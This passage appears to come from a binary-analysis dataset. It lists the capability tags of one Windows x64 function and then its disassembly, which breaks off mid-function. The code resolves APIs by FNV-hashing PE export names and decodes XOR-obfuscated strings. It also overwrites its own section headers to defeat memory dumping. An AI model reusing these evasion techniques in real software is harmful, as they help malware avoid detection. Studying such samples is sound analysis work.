Function at 0x14008fe30
Capabilities:
Access peb ldr_data
Create thread
Delete file
Encode data using xor
Execute command
Get common file path
Get startup folder
Hash data using fnv
Resolve function by parsing pe exports
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0x1780
call fcn.140106ab0
sub rsp, rax
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1402930e8]
xor rax, rsp
mov qword [rbp + 0x1720], rax
xor r12d, r12d
movabs rcx, 0xfe579848ee939f7b
mov qword [rbp + 0xd30], rcx
mov rax, qword [rbp + 0xd30]
mov qword [rbp + 0xd0], rax
movabs r13, 0x1178f9c52b02ec48
mov qword [rbp + 0xd30], r13
mov rax, qword [rbp + 0xd30]
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xd30], rcx
mov rax, qword [rbp + 0xd30]
mov qword [rbp + 0x1190], rax
mov qword [rbp + 0xd30], r13
mov rax, qword [rbp + 0xd30]
mov qword [rbp + 0x1198], rax
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0x1190]
movdqa xmmword [rbp + 0xd0], xmm0
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd88], xmm0
mov qword [rbp + 0xd98], r12
mov qword [rbp + 0xda0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd88], r12b
call fcn.1400a11b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14009000e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rbp + 0x8e0], rcx
lea ecx, [r12 + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [rbp + 0x8e0]
movzx eax, word [rcx + 0x14]
lea rbx, [rcx + 0x18]
add rbx, rax
mov edi, r12d
cmp r12w, word [rcx + 6]
jae 0x14008ffca
nop dword [rax]
lea r9, [rbp + 0xd38]
mov edx, Ordinal_41
lea r8d, [rdx + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov byte [rbx], al
mov byte [rbx + 1], 0
mov qword [rbx + 8], r12
lea r9, [rbp + 0xd38]
mov r8d, dword [rbp + 0xd38]
mov edx, Ordinal_41
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
add rbx, 0x28
mov rax, qword [rbp + 0x8e0]
movzx ecx, word [rax + 6]
cmp edi, ecx
jb 0x14008ff70
lea r9, [rbp + 0xd60]
mov edx, 8
lea r8d, [rdx + 0x38]
lea rcx, [rbp + 0x8e0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rbp + 0x8e0], r12
lea r9, [rbp + 0xd60]
mov r8d, dword [rbp + 0xd60]
mov edx, 8
lea rcx, [rbp + 0x8e0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [0x140293e80]
test rcx, rcx
jne 0x1400901de
mov r9d, r12d
mov edi, 0x9bc5a608
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r12, qword [rax]
mov rsi, r12
nop dword [rax]
movups xmm0, xmmword [rsi + 0x58]
movups xmmword [rbp], xmm0
movd eax, xmm0
sub ax, 8
test r9d, r9d
je 0x14009008d
mov rcx, qword [rbp + 8]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r8
je 0x140090084
nop dword [rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140090070
cmp edx, r9d
jne 0x1400901bb
mov r10, qword [rsi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
shr r15, 0x20
mov ebx, ecx
add rbx, r10
cmp rbx, r10
je 0x1400901bb
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400901bb
mov r14d, dword [rbx + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r8d
lea rax, [r14 + r8*4]
mov eax, dword [rax + r10]
add rax, r10
mov edx, 0x811c9dc5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140090106
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x1400900f0
cmp edx, edi
je 0x140090114
test r8d, r8d
jne 0x1400900d0
jmp 0x1400901bb
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r8*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
cmp rcx, rbx
jbe 0x140090203
lea rax, [r15 + rbx]
cmp rcx, rax
jae 0x140090203
mov r9d, 0x811c9dc5
mov dword [rbp + 0xd30], r9d
mov edx, r9d
mov dword [rbp + 0xd34], edx
movzx eax, byte [rcx]
cmp al, 0x2e
je 0x14009017e
nop
movsx eax, al
xor eax, r9d
imul r9d, eax, 0x1000193
inc rcx
movzx eax, byte [rcx]
cmp al, 0x2e
jne 0x140090160
mov dword [rbp + 0xd30], r9d
inc rcx
movzx eax, byte [rcx]
test al, al
je 0x1400901ac
nop dword [rax + rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140090190
mov dword [rbp + 0xd34], edx
mov rsi, qword [r12]
mov rdi, qword [rbp + 0xd30]
shr rdi, 0x20
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r12
je 0x1400901d1
cmp qword [rax + 0x30], 0
jne 0x140090040
xor r12d, r12d
mov ecx, r12d
mov qword [0x140293e80], rcx
call rcx
mov rcx, rax
call fcn.14006d580
mov ecx, 8
call fcn.140106704
test rax, rax
je 0x140090208
lea rcx, [0x14006e5f0]
mov qword [rax], rcx
jmp 0x14009020b
xor r12d, r12d
jmp 0x1400901d7
mov rax, r12
mov qword [rbp + 0xd30], rax
lea rcx, [rbp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140002f70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x60], rax
test rax, rax
je 0x140093215
mov qword [rbp + 0xd30], r12
cmp dword [rbp + 0x68], 0
je 0x140093224
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x600], xmm0
lea rcx, [rbp + 0x600]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14009322f
xorps xmm0, xmm0
movaps xmmword [rbp + 0x720], xmm0
movdqa xmmword [rbp + 0x60], xmm0
lea ecx, [rax + 8]
call fcn.140106704
test rax, rax
je 0x14009029a
lea rcx, [0x14008f970]
mov qword [rax], rcx
jmp 0x14009029d
mov rax, r12
mov qword [rbp + 0xdd0], rax
lea rcx, [rbp + 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140002f70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x50], rax
test rax, rax
je 0x140093206
mov qword [rbp + 0xdd0], r12
cmp dword [rbp + 0x58], 0
je 0x140093237
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x620], xmm0
lea rcx, [rbp + 0x620]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140093242
xorps xmm0, xmm0
movaps xmmword [rbp + 0x850], xmm0
movdqa xmmword [rbp + 0x50], xmm0
lea ecx, [rax + 8]
call fcn.140106704
test rax, rax
je 0x14009032c
lea rcx, [0x14006d550]
mov qword [rax], rcx
jmp 0x14009032f
mov rax, r12
mov qword [rbp + 0xdc8], rax
lea rcx, [rbp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x140002f70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x40], rax
test rax, rax
je 0x140093263
mov qword [rbp + 0xdc8], r12
cmp dword [rbp + 0x48], 0
je 0x14009324a
movaps xmm0, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x610], xmm0
lea rcx, [rbp + 0x610]
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140093255
xorps xmm0, xmm0
movaps xmmword [rbp + 0x710], xmm0
movdqa xmmword [rbp + 0x40], xmm0
lea rax, [rbp + 0x1500]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xd40], xmm0
mov qword [rbp + 0xd50], r12
mov qword [rbp + 0xd58], r12
lea rax, [rbp + 0x1500]
mov rsi, 0xffffffffffffffff
mov rdi, rsi
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400903f0
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
ja 0x14009325d
mov qword [rbp + 0xd58], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x140090444
mov qword [rbp + 0xd50], rdi
mov r8, rdi
lea rdx, [rbp + 0x1500]
lea rcx, [rbp + 0xd40]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0xd40], 0
jmp 0x14009049d
mov rax, rdi
or rax, 0xf
cmp rax, r14
ja 0x14009045f
mov r14, rax
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rax, rcx
cmovb r14, rcx
lea rdx, [r14 + 1]
lea rcx, [rbp + 0xd40]
call fcn.1400152e0
mov rbx, rax
mov qword [rbp + 0xd40], rax
mov qword [rbp + 0xd50], rdi
mov qword [rbp + 0xd58], r14
mov r8, rdi
lea rdx, [rbp + 0x1500]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + rdi], 0
movabs rax, 0x9124f73a8dfad227
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x300], rax
movabs rax, 0x7e1c97ac7c5e982e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x308], rax
movabs rax, 0xd79fc74bf3d6a29a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x310], rax
movabs rax, 0xacde9b9ec88de846
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x318], rax
movabs rax, 0xf3cf8923737ea58b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x320], rax
movabs rax, 0xbb11133d169243a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x328], rax
movabs r14, 0xfe579848ee939f7b
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1300], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1308], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1310], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1318], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1320], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1328], rax
vmovdqu ymm0, ymmword [rbp + 0x300]
vpxor ymm1, ymm0, ymmword [rbp + 0x1300]
vmovdqa ymmword [rbp + 0x300], ymm1
vmovdqa xmm0, xmmword [rbp + 0x320]
vpxor xmm0, xmm0, xmmword [rbp + 0x1320]
vmovdqa xmmword [rbp + 0x320], xmm0
lea rax, [rbp + 0x300]
mov rdi, rsi
vzeroupper
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140090600
mov rcx, qword [rbp + 0xd50]
mov rdx, qword [rbp + 0xd58]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14009065b
lea rax, [rdi + rcx]
mov qword [rbp + 0xd50], rax
lea rbx, [rbp + 0xd40]
cmp rdx, 0x10
cmovae rbx, qword [rbp + 0xd40]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp + 0x300]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140090679
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x300]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0xd40]
call fcn.1400030e0
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0xa00]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0xd40]
cmp qword [rbp + 0xd58], 0x10
cmovae rdx, qword [rbp + 0xd40]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rcx, [rbp + 0xa00]
call fcn.140004590
mov rax, qword [rbp + 0xa00]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xa00], rax
mov rax, qword [rbp + 0xa00]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x9fc], edx
mov rax, qword [rbp + 0xa00]
movsxd rcx, dword [rax + 4]
cmp dword [rbp + rcx + 0xa10], 0
jne 0x140090a8b
cmp qword [rbp + 0xa90], 0
je 0x140090a8b
mov edx, 7
lea rcx, [rbp + 0x10c0]
call fcn.140066e90
lea rcx, [rbp + 0x10c0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rbx, 0xfe57c368ceb3bf71
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1040], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1048], rax
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x1040]
movdqa xmmword [rbp + 0x30], xmm0
lea rdx, [rbp + 0x30]
call fcn.140001c20
mov edx, 9
lea rcx, [rbp + 0x1e0]
call fcn.140066e90
lea rcx, [rbp + 0x1e0]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs r15, 0xfe579848ee939f5a
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1060], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1068], rax
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x1060]
movdqa xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x10]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x1380]
call fcn.140066e90
lea rcx, [rbp + 0x1380]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0xfe579848ee939f26
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1050], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1058], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x1050]
movdqa xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
call fcn.140001c20
mov edx, 7
lea rcx, [rbp + 0x1480]
call fcn.140066e90
lea rcx, [rbp + 0x1480]
call fcn.140006090
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x8836f0689bfcc65b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x735897a04e60cc2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
movabs rax, 0xd69cda52f7e9b081
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0xffdab889c2c4ca57
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
movabs rax, 0xfece8c3e757f81ac
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x260], rax
movabs rax, 0xc974752601963eec
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x268], rax
movabs rax, 0x1fefc74f1c2f8011
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x270], rax
movabs rax, 0x663f2706be7f3a48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x278], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1000], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1008], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1010], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1018], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1020], rax
movabs rax, 0xbb1113496ee66dcc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1028], rax
movabs r14, 0x7a81a6226e4af031
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1030], rax
movabs rsi, 0x663f067fd21a4e26
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1038], rax
vmovdqu ymm0, ymmword [rbp + 0x1000]
vpxor ymm1, ymm0, ymmword [rbp + 0x240]
vmovdqa ymmword [rbp + 0x240], ymm1
vmovdqu ymm0, ymmword [rbp + 0x260]
vpxor ymm1, ymm0, ymmword [rbp + 0x1020]
vmovdqa ymmword [rbp + 0x260], ymm1
lea rdx, [rbp + 0x240]
vzeroupper
call fcn.140001c20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5e0], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rbx, 0xfe57c368ceb3bf71
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xe0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1180], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1188], rax
movdqa xmm0, xmmword [rbp + 0xe0]
pxor xmm0, xmmword [rbp + 0x1180]
movdqa xmmword [rbp + 0xe0], xmm0
lea rdx, [rbp + 0xe0]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c0], xmm0
mov qword [rbp + 0x5d0], r12
mov qword [rbp + 0x5d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5c0], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs r15, 0xfe579848ee939f5a
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xf0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xf8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1170], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1178], rax
movdqa xmm0, xmmword [rbp + 0xf0]
pxor xmm0, xmmword [rbp + 0x1170]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xf0]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], r12
mov qword [rbp + 0x5b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x5a0], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rdi, 0xfe579848ee939f26
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1160], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1168], rax
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x1160]
movdqa xmmword [rbp + 0x100], xmm0
lea rdx, [rbp + 0x100]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], r12
mov qword [rbp + 0x598], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x580], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x8a3eea3d8df6cc5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0x741e96aa5b51cc31
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movabs rax, 0xc38adf5bcea2f19f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
movabs rax, 0xbbdbbe8ee6c4cb41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
movabs rax, 0x87bae54c001ce4d6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x420], rax
movabs rdx, 0xbb1113496ee66dcc
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x428], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1340], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1348], rax
movabs rax, 0xa2efb33e9c8ad1ed
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1350], rax
movabs rax, 0xdfb7d7fba4e4ae32
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1358], rax
movabs rax, 0x87bae54c001ce4ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1360], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1368], rax
vmovdqu ymm0, ymmword [rbp + 0x400]
vpxor ymm1, ymm0, ymmword [rbp + 0x1340]
vmovdqa ymmword [rbp + 0x400], ymm1
vmovdqa xmm0, xmmword [rbp + 0x420]
vpxor xmm0, xmm0, xmmword [rbp + 0x1360]
vmovdqa xmmword [rbp + 0x420], xmm0
lea rdx, [rbp + 0x400]
vzeroupper
call fcn.140001c20
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f0], xmm1
xor r8d, r8d
lea rdx, [0x14010d000]
lea rcx, [rbp + 0x2e0]
call fcn.140002370
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0x10
jb 0x140090eb5
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140090eb0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140090eb0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140106740
movdqa xmm0, xmmword [0x14010de80]
movdqu xmmword [rbp + 0x2f0], xmm0
mov byte [rbp + 0x2e0], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1150], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1158], rax
movdqa xmm0, xmmword [rbp + 0xc0]
pxor xmm0, xmmword [rbp + 0x1150]
movdqa xmmword [rbp + 0xc0], xmm0
lea rdx, [rbp + 0xc0]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm1
xor r8d, r8d
lea rdx, [0x14010d000]
lea rcx, [rbp + 0x220]
call fcn.140002370
mov r8, qword [rbp + 0x238]
cmp r8, 0x10
jb 0x140090f9a
inc r8
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0x220]
call fcn.1400672c0
movdqa xmm0, xmmword [0x14010de80]
movdqu xmmword [rbp + 0x230], xmm0
mov byte [rbp + 0x220], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1140], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1148], rax
movdqa xmm0, xmmword [rbp + 0x120]
pxor xmm0, xmmword [rbp + 0x1140]
movdqa xmmword [rbp + 0x120], xmm0
lea rdx, [rbp + 0x120]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x500], xmm0
mov qword [rbp + 0x510], r12
mov qword [rbp + 0x518], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x500], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x130], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x138], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1130], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1138], rax
movdqa xmm0, xmmword [rbp + 0x130]
pxor xmm0, xmmword [rbp + 0x1130]
movdqa xmmword [rbp + 0x130], xmm0
lea rdx, [rbp + 0x130]
call fcn.140001c20
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xorps xmm0, xmm0
movups xmmword [rbp + 0x560], xmm0
mov qword [rbp + 0x570], r12
mov qword [rbp + 0x578], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x560], 0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0x973bfa299ae0da5b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x440], rax
movabs rax, 0x7e1bd9a2456b843b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x448], rax
